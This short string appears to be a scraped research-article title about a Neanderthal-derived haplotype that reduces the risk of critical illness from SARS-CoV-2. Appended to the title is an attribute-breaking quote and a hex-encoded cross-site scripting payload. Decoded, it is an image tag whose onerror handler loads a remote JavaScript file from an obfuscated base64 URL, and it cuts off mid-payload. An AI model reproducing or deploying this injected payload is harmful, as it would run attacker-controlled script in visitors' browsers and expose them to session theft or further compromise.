A protective Neanderthal-derived haplotype confers approximately 23% reduced risk of becoming critically ill on infection with SARS-CoV-2">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b646d4d77626d5976595338784c6d707a27293b646f63756d656e742">